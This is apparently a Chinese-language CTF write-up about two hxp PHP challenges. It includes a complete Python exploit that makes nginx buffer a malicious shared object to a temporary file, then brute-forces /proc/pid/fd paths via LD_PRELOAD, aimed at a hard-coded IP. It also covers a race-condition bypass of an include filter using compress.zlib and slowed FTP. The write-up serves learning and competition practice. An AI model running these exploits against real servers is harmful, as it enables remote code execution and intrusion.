nginx缓存写入文件

ez_php

这里直接说一下结论吧

  • 让后端 php 请求一个过大的文件
  • Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
  • 虽然 Nginx 删除了/var/lib/nginx/fastcgi下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件
  • 遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI

接下来就是分步骤写一下脚本了,首先是让后端php请求一个过大的文件

我看了一下,其他师傅们的wp都加上了一些字符,以扩大整个文件大小,但是我感觉不加好像也没事,视情况而定吧

def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data=open("hack.so","br").read())

接下来就是爆破pid和fd使其能够被成功访问到,而我在自己的机器上docker是在10的位置,而在其他的服务器就不一定了,所以需要一个个的去爆破,但其实应该也不会特别久

这里有几个细节说明一下

1.nginx worker

我们找的是nginx worker所在的proc,这里才存储了被删除的临时文件的fd

而要找到这个proc的值只能爆破,就是搞一个一样的环境,看看docker里面的生成pid数字是多少,但是我感觉还是要从0开始挨个爆破才行

2.proc/pid/fd

这里的fd也是需要爆破获得,大小的话也是直接从0开始吧,感觉去找或者对比的话,其实比较难找到

3.多线程爆破

而这里脚本的编写为了提高命中率,也是推荐多线程爆破,在上传完文件的同时,去包含多个pid,提高命中率

def bruter():
pid=10
while True:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/{pid}/fd/{fd}'
r = requests.get(URL, params={
'env': f"LD_PRELOAD={f}",
})

完整exp

import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = 'http://110.42.133.120:1234/index.php'

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data=open("hack.so","br").read())

for _ in range(16):
t = threading.Thread(target=uploader)
t.start()

# brute force nginx's fds and pids
def bruter():
pid=10
while True:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/{pid}/fd/{fd}'
r = requests.get(URL, params={
'env': f"LD_PRELOAD={f}",
})

a = threading.Thread(target=bruter)
a.start()

counter

这个也是hxp的题,然后也是我没遇到过的姿势,也学习下,感觉

<?php
declare(strict_types=1);

$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv');
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";

try {
if (stripos(file_get_contents($_POST['file']), '<?') === false) {
include_once($_POST['file']);
}
}
finally {
system('rm -rf '.escapeshellarg($rand_dir));
}

源码在这里,分析之类的过程就省略了,直接说结论以及存在的漏洞点

1.

其中配置文件有一个比较明显的配置错误:

location /.well-known {
autoindex on;
alias /var/www/html/well-known/;
}

开启了列目录并且我们可以遍历到上层文件夹。

2.compress.zip://流进行上传任意文件,但是产生的是临时文件,为了能够尽可能长时间的留在服务器上,我们需要让他停留时间久一点

  • 使用大文件传输,这样在传输的时候就会有一定的时间让我们包含到文件了。
  • 使用 FTP 速度控制,大文件传输根本上还是传输速度的问题,我们可以通过一些方式限制传输速率,比较简单的也可以利用compress.zlib://ftp://形式,控制 FTP 速度即可

3.bypass waf

if (stripos(file_get_contents($_POST['file']), '<?') === false) {
include_once($_POST['file']);
}

这里 利用http长链接的形式,利用stripos和include_one之间的时间窗进行绕过,具体来说是首先发送 一段长数据,在通过stripos的检查后,随即再发送php代码,即可通过

4.获取沙箱路径

我们需要通过传入过大的 name 参数,导致 PHP output buffer 溢出,在保持连接的情况下获取沙箱路径,参考代码:

接下来就是写一下脚本了

感觉自己对整个流程还是很懵逼,理一下吧,先留一下坑吧,没搞懂那些port是在干啥–

https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

Author

vague huang

Posted on

2022-02-04

Updated on

2022-08-04

Licensed under

Comments